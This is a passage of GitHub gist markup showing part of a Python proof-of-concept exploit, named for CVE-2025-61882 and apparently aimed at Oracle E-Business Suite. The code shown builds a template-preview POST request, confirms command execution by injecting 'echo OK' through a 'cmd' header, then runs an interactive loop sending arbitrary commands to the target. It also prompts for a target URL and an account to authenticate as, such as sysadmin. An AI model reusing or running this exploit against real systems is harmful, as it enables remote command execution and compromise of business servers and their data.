class=pl-s1>x</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L313\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;313\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC313\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L314\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;314\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC314\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>if</span> <span class=pl-s1>preview_link</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L315\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;315\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC315\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-c># print(&amp;quot;[+] Found Preview Link.&amp;quot;)</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L316\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;316\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC316\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>onclick_text</span> <span class=pl-c1>=</span> <span class=pl-s1>preview_link</span>.<span class=pl-c1>get</span>(<span class=pl-s>&amp;#39;onclick&amp;#39;</span>, <span class=pl-s>&amp;#39;&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L317\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;317\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC317\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L318\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;318\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC318\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>match</span> <span class=pl-c1>=</span> <span class=pl-s1>re</span>.<span class=pl-c1>search</span>(<span class=pl-s>r&amp;quot;submitForm\\(&amp;#39;[^&amp;#39;]+&amp;#39;,\\d+,\\{(.+?)\\}\\)&amp;quot;</span>, <span class=pl-s1>onclick_text</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L319\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;319\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC319\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L320\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;320\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC320\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>if</span> <span class=pl-s1>match</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L321\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;321\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC321\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-s1>params_str</span> <span class=pl-c1>=</span> <span class=pl-s1>match</span>.<span class=pl-c1>group</span>(<span class=pl-c1>1</span>)            </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L322\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;322\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC322\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-s1>pairs</span> <span class=pl-c1>=</span> <span class=pl-s1>params_str</span>.<span class=pl-c1>split</span>(<span class=pl-s>&amp;#39;,&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L323\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;323\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC323\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-k>for</span> <span class=pl-s1>pair</span> <span class=pl-c1>in</span> <span class=pl-s1>pairs</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L324\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;324\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC324\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                <span class=pl-k>if</span> <span class=pl-s>&amp;#39;:&amp;#39;</span> <span class=pl-c1>in</span> <span class=pl-s1>pair</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L325\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;325\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC325\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                    <span class=pl-s1>key</span>, <span class=pl-s1>val</span> <span class=pl-c1>=</span> <span class=pl-s1>pair</span>.<span class=pl-c1>split</span>(<span class=pl-s>&amp;#39;:&amp;#39;</span>, <span class=pl-c1>1</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L326\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;326\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC326\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                    </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L327\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;327\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC327\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                    <span class=pl-s1>key</span> <span class=pl-c1>=</span> <span class=pl-s1>key</span>.<span class=pl-c1>strip</span>().<span class=pl-c1>strip</span>(<span class=pl-s>&amp;quot;&amp;#39;&amp;quot;</span>).<span class=pl-c1>strip</span>(<span class=pl-s>&amp;#39;&amp;quot;&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L328\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;328\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC328\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                    <span class=pl-s1>val</span> <span class=pl-c1>=</span> <span class=pl-s1>val</span>.<span class=pl-c1>strip</span>().<span class=pl-c1>strip</span>(<span class=pl-s>&amp;quot;&amp;#39;&amp;quot;</span>).<span class=pl-c1>strip</span>(<span class=pl-s>&amp;#39;&amp;quot;&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L329\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;329\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC329\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                    </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L330\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;330\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC330\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                    <span class=pl-s1>payload</span>[<span class=pl-s1>key</span>] <span class=pl-c1>=</span> <span class=pl-s1>val</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L331\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;331\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC331\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>else</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L332\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;332\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC332\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[-] Could not regex parse the onclick event.&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L333\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;333\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC333\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-k>return</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L334\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;334\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC334\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>else</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L335\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;335\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC335\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[-] Error: Could not find the Preview Button in the HTML.&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L336\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;336\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC336\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>return</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L337\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;337\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC337\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L338\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;338\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC338\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>preview_format_select</span> <span class=pl-c1>=</span> <span class=pl-s1>soup</span>.<span class=pl-c1>find</span>(<span class=pl-s>&amp;#39;select&amp;#39;</span>, <span class=pl-s1>id</span><span class=pl-c1>=</span><span class=pl-s>&amp;#39;PreviewFormat&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L339\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;339\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC339\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>if</span> <span class=pl-s1>preview_format_select</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L340\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;340\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC340\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>selected_opt</span> <span class=pl-c1>=</span> <span class=pl-s1>preview_format_select</span>.<span class=pl-c1>find</span>(<span class=pl-s>&amp;#39;option&amp;#39;</span>, <span class=pl-s1>selected</span><span class=pl-c1>=</span><span class=pl-c1>True</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L341\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;341\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC341\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>if</span> <span class=pl-c1>not</span> <span class=pl-s1>selected_opt</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L342\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;342\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC342\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-s1>selected_opt</span> <span class=pl-c1>=</span> <span class=pl-s1>preview_format_select</span>.<span class=pl-c1>find</span>(<span class=pl-s>&amp;#39;option&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L343\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;343\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC343\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L344\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;344\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC344\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>if</span> <span class=pl-s1>selected_opt</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L345\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;345\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC345\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-s1>p_fmt_val</span> <span class=pl-c1>=</span> <span class=pl-s1>selected_opt</span>.<span class=pl-c1>get</span>(<span class=pl-s>&amp;#39;value&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L346\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;346\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC346\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-s1>payload</span>[<span class=pl-s>&amp;#39;PreviewFormat&amp;#39;</span>] <span class=pl-c1>=</span> <span class=pl-s1>p_fmt_val</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L347\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;347\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC347\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-c># print(f&amp;quot;[+] Setting PreviewFormat: {p_fmt_val}&amp;quot;)</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L348\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;348\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC348\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L349\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;349\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC349\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[*] Sending POST request to Preview Template...&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L350\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;350\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC350\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L351\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;351\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC351\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>try</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L352\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;352\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC352\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-c1>HEADERS</span>.<span class=pl-c1>update</span>({<span class=pl-s>&amp;quot;cmd&amp;quot;</span>: <span class=pl-s>&amp;quot;echo OK&amp;quot;</span>})</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L353\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;353\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC353\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>r</span> <span class=pl-c1>=</span> <span class=pl-s1>requests</span>.<span class=pl-c1>post</span>(<span class=pl-s1>full_url</span>, <span class=pl-s1>headers</span><span class=pl-c1>=</span><span class=pl-c1>HEADERS</span>, <span class=pl-s1>cookies</span><span class=pl-c1>=</span><span class=pl-c1>COOKIES</span>, <span class=pl-s1>data</span><span class=pl-c1>=</span><span class=pl-s1>payload</span>, <span class=pl-s1>verify</span><span class=pl-c1>=</span><span class=pl-c1>False</span>, <span class=pl-s1>proxies</span><span class=pl-c1>=</span><span class=pl-c1>PROXY</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L354\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;354\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC354\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>if</span> <span class=pl-s>&amp;quot;OK&amp;quot;</span> <span class=pl-c1>in</span> <span class=pl-s1>r</span>.<span class=pl-c1>text</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L355\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;355\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC355\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>             <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[!] SUCCESS&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L356\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;356\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC356\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>             <span class=pl-k>while</span> <span class=pl-c1>True</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L357\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;357\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC357\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                 <span class=pl-s1>cmd</span> <span class=pl-c1>=</span> <span class=pl-en>input</span>(<span class=pl-s>&amp;quot;cmd&amp;gt; &amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L358\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;358\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC358\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                 <span class=pl-k>if</span> <span class=pl-s1>cmd</span>.<span class=pl-c1>lower</span>() <span class=pl-c1>in</span> [<span class=pl-s>&amp;#39;exit&amp;#39;</span>, <span class=pl-s>&amp;#39;quit&amp;#39;</span>]:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L359\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;359\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC359\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                     <span class=pl-k>break</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L360\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;360\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC360\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                 </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L361\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;361\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC361\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                 <span class=pl-c1>HEADERS</span>.<span class=pl-c1>update</span>({<span class=pl-s>&amp;quot;cmd&amp;quot;</span>: <span class=pl-s1>cmd</span>})</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L362\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;362\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC362\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                 <span class=pl-s1>r</span> <span class=pl-c1>=</span> <span class=pl-s1>requests</span>.<span class=pl-c1>post</span>(<span class=pl-s1>full_url</span>, <span class=pl-s1>headers</span><span class=pl-c1>=</span><span class=pl-c1>HEADERS</span>, <span class=pl-s1>cookies</span><span class=pl-c1>=</span><span class=pl-c1>COOKIES</span>, <span class=pl-s1>data</span><span class=pl-c1>=</span><span class=pl-s1>payload</span>, <span class=pl-s1>verify</span><span class=pl-c1>=</span><span class=pl-c1>False</span>, <span class=pl-s1>proxies</span><span class=pl-c1>=</span><span class=pl-c1>PROXY</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L363\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;363\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC363\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                 <span class=pl-en>print</span>(<span class=pl-s1>r</span>.<span class=pl-c1>text</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L364\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;364\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC364\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>else</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L365\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;365\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC365\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>             <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[-] Failed to preview template or no output returned. Check manually.&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L366\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;366\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC366\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>             </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L367\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;367\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC367\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L368\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;368\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC368\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L369\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;369\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC369\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>except</span> <span class=pl-v>Exception</span> <span class=pl-k>as</span> <span class=pl-s1>e</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L370\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;370\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC370\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-en>print</span>(<span class=pl-s>f&amp;quot;[-] Request failed: <span class=pl-s1><span class=pl-kos>{</span><span class=pl-s1>e</span><span class=pl-kos>}</span></span>&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L371\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;371\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC371\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L372\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;372\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC372\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-k>if</span> <span class=pl-s1>__name__</span> <span class=pl-c1>==</span> <span class=pl-s>&amp;quot;__main__&amp;quot;</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L373\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;373\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC373\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>url</span> <span class=pl-c1>=</span> <span class=pl-en>input</span>(<span class=pl-s>&amp;quot;Enter target url (ex:http://example.com): &amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L374\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;374\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC374\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>if</span> <span class=pl-en>check</span>(<span class=pl-s1>url</span>):</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L375\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;375\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC375\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>username</span> <span class=pl-c1>=</span> <span class=pl-en>input</span>(<span class=pl-s>&amp;quot;Enter username to authenticate as (ex: sysadmin): &amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L376\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; 